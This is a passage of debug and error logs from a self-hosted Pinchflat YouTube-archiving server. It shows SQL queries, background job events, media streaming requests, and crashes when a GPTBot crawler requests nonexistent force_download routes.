~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10999.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/3/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 35036}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/1/media/3", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/3/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10999.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/3/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 35036}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/1/media/3", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.11000.0>, params: %{}, path_info: ["sources", "1", "media", "3", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, (truncated) 16:41:22.992 [info] GET /api/v1/videos 16:41:22.992 [debug] Processing with PinchflatWeb.Api.V1.VideoController.index/2 Parameters: %{} Pipelines: [:api_v1] 16:41:23.013 [debug] QUERY OK source="media_items" db=21.1ms idle=562.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 [] 16:41:23.061 [info] Sent 200 in 68ms 16:41:24.438 [info] {"args":{"id":3},"id":711,"meta":{},"system_time":1784911284438233251,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:41:24.438 [debug] QUERY OK source="sources" db=0.1ms idle=1483.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 16:41:24.438 [debug] QUERY OK source="settings" db=0.1ms idle=1007.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:41:24.439 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:41:24.439 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:41:24.439 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 16:41:24.439 [debug] QUERY OK source="tasks" db=0.9ms idle=1424.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 16:41:24.439 [debug] QUERY OK source="sources" db=0.0ms queue=0.1ms idle=0.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 16:41:24.624 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 16:41:24.624 [debug] QUERY OK source="media_items" db=0.2ms idle=185.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 16:41:24.626 [debug] QUERY OK source="media_items" db=1.7ms idle=185.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 16:41:24.627 [debug] QUERY OK source="tasks" db=0.0ms idle=187.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [714, 3, ~U[2026-07-24 16:41:24Z], ~U[2026-07-24 16:41:24Z]] 16:41:24.628 [info] {"args":{"id":3},"id":711,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":189580,"event":"job:stop","queue_time":584253,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:41:24.628 [debug] QUERY OK source="tasks" db=0.2ms idle=1.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 16:41:27.186 [info] {"source":"oban","duration":773,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:41:27.357 [info] GET /media/dcbf5f18-d2d2-4574-b52c-badc1a56df4c/stream 16:41:27.357 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "dcbf5f18-d2d2-4574-b52c-badc1a56df4c"} Pipelines: [:maybe_basic_auth] 16:41:27.357 [debug] QUERY OK source="media_items" db=0.1ms idle=1402.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["dcbf5f18-d2d2-4574-b52c-badc1a56df4c"] 16:41:27.357 [debug] Invalid range request for media item: dcbf5f18-d2d2-4574-b52c-badc1a56df4c - serving full file 16:41:27.357 [info] Sent 200 in 493µs 16:41:27.666 [info] GET /media/dcbf5f18-d2d2-4574-b52c-badc1a56df4c/stream 16:41:27.667 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "dcbf5f18-d2d2-4574-b52c-badc1a56df4c"} Pipelines: [:maybe_basic_auth] 16:41:27.667 [debug] QUERY OK source="media_items" db=0.1ms idle=1712.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["dcbf5f18-d2d2-4574-b52c-badc1a56df4c"] 16:41:27.667 [debug] Streaming media item: dcbf5f18-d2d2-4574-b52c-badc1a56df4c from 993953 to 131891169 16:41:27.667 [info] Sent 206 in 528µs 16:41:51.995 [info] GET / 16:41:51.995 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 16:41:51.996 [debug] QUERY OK source="settings" db=0.1ms idle=1037.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:41:51.996 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1037.4ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 16:41:51.996 [debug] QUERY OK source="sources" db=0.0ms idle=1037.5ms SELECT count(s0."id") FROM "sources" AS s0 [] 16:41:52.001 [debug] QUERY OK source="media_items" db=5.0ms idle=536.1ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 16:41:52.002 [debug] QUERY OK source="media_items" db=0.4ms idle=42.5ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 16:41:52.002 [debug] QUERY OK source="settings" db=0.0ms idle=6.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:41:52.002 [debug] QUERY OK source="settings" db=0.0ms idle=6.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:41:52.002 [debug] QUERY OK source="settings" db=0.0ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:41:52.003 [debug] QUERY OK source="media_items" db=0.3ms idle=1.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 16:41:52.004 [debug] QUERY OK source="media_items" db=1.2ms idle=1.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 16:41:52.004 [debug] QUERY OK source="sources" db=0.0ms idle=2.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 16:41:52.008 [debug] QUERY OK source="media_items" db=3.5ms idle=2.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 16:41:52.012 [debug] QUERY OK source="media_items" db=3.6ms idle=6.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 16:41:52.012 [debug] QUERY OK source="tasks" db=0.0ms idle=9.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 16:41:52.013 [info] Sent 200 in 17ms 16:41:57.187 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:42:00.747 [info] {"source":"oban","duration":139,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:42:12.210 [info] GET /api/v1/videos 16:42:12.210 [debug] Processing with PinchflatWeb.Api.V1.VideoController.index/2 Parameters: %{} Pipelines: [:api_v1] 16:42:12.230 [debug] QUERY OK source="media_items" db=20.2ms idle=729.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 [] 16:42:12.281 [info] Sent 200 in 71ms 16:42:27.188 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:42:57.189 [info] {"source":"oban","duration":447,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:43:00.749 [info] {"source":"oban","duration":343,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:43:14.211 [info] GET /media/dcbf5f18-d2d2-4574-b52c-badc1a56df4c/episode_image.jpg 16:43:14.211 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.episode_image/2 Parameters: %{"uuid" => "dcbf5f18-d2d2-4574-b52c-badc1a56df4c"} Pipelines: [:maybe_basic_auth] 16:43:14.211 [debug] QUERY OK source="media_items" db=0.1ms idle=1238.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["dcbf5f18-d2d2-4574-b52c-badc1a56df4c"] 16:43:14.236 [info] Sent 200 in 24ms 16:43:27.190 [info] {"source":"oban","duration":845,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:43:57.192 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:44:00.749 [info] {"source":"oban","duration":103,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:44:27.193 [info] {"source":"oban","duration":524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:44:57.194 [info] {"source":"oban","duration":706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:45:00.751 [info] {"source":"oban","duration":195,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:45:27.195 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:45:57.196 [info] {"source":"oban","duration":542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:46:00.751 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:46:05.607 [info] GET /api/v1/videos 16:46:05.608 [debug] Processing with PinchflatWeb.Api.V1.VideoController.index/2 Parameters: %{} Pipelines: [:api_v1] 16:46:05.628 [debug] QUERY OK source="media_items" db=20.3ms idle=1625.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 [] 16:46:05.679 [info] Sent 200 in 71ms 16:46:27.197 [info] {"source":"oban","duration":420,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:46:57.198 [info] {"source":"oban","duration":351,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:47:00.753 [info] {"source":"oban","duration":150,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:47:27.199 [info] {"source":"oban","duration":424,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:47:57.200 [info] {"source":"oban","duration":493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:48:00.753 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:48:27.201 [info] {"source":"oban","duration":605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:48:49.343 [info] GET /sources/1/media/7/force_download 16:48:49.344 [debug] QUERY OK source="settings" db=0.0ms idle=453.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:48:49.344 [debug] QUERY OK source="settings" db=0.0ms idle=361.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:48:49.344 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:48:49.344 [error] #PID<0.11071.0> running PinchflatWeb.Endpoint (connection #PID<0.11070.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /sources/1/media/7/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/7/force_download (PinchflatWeb.Router)", conn: 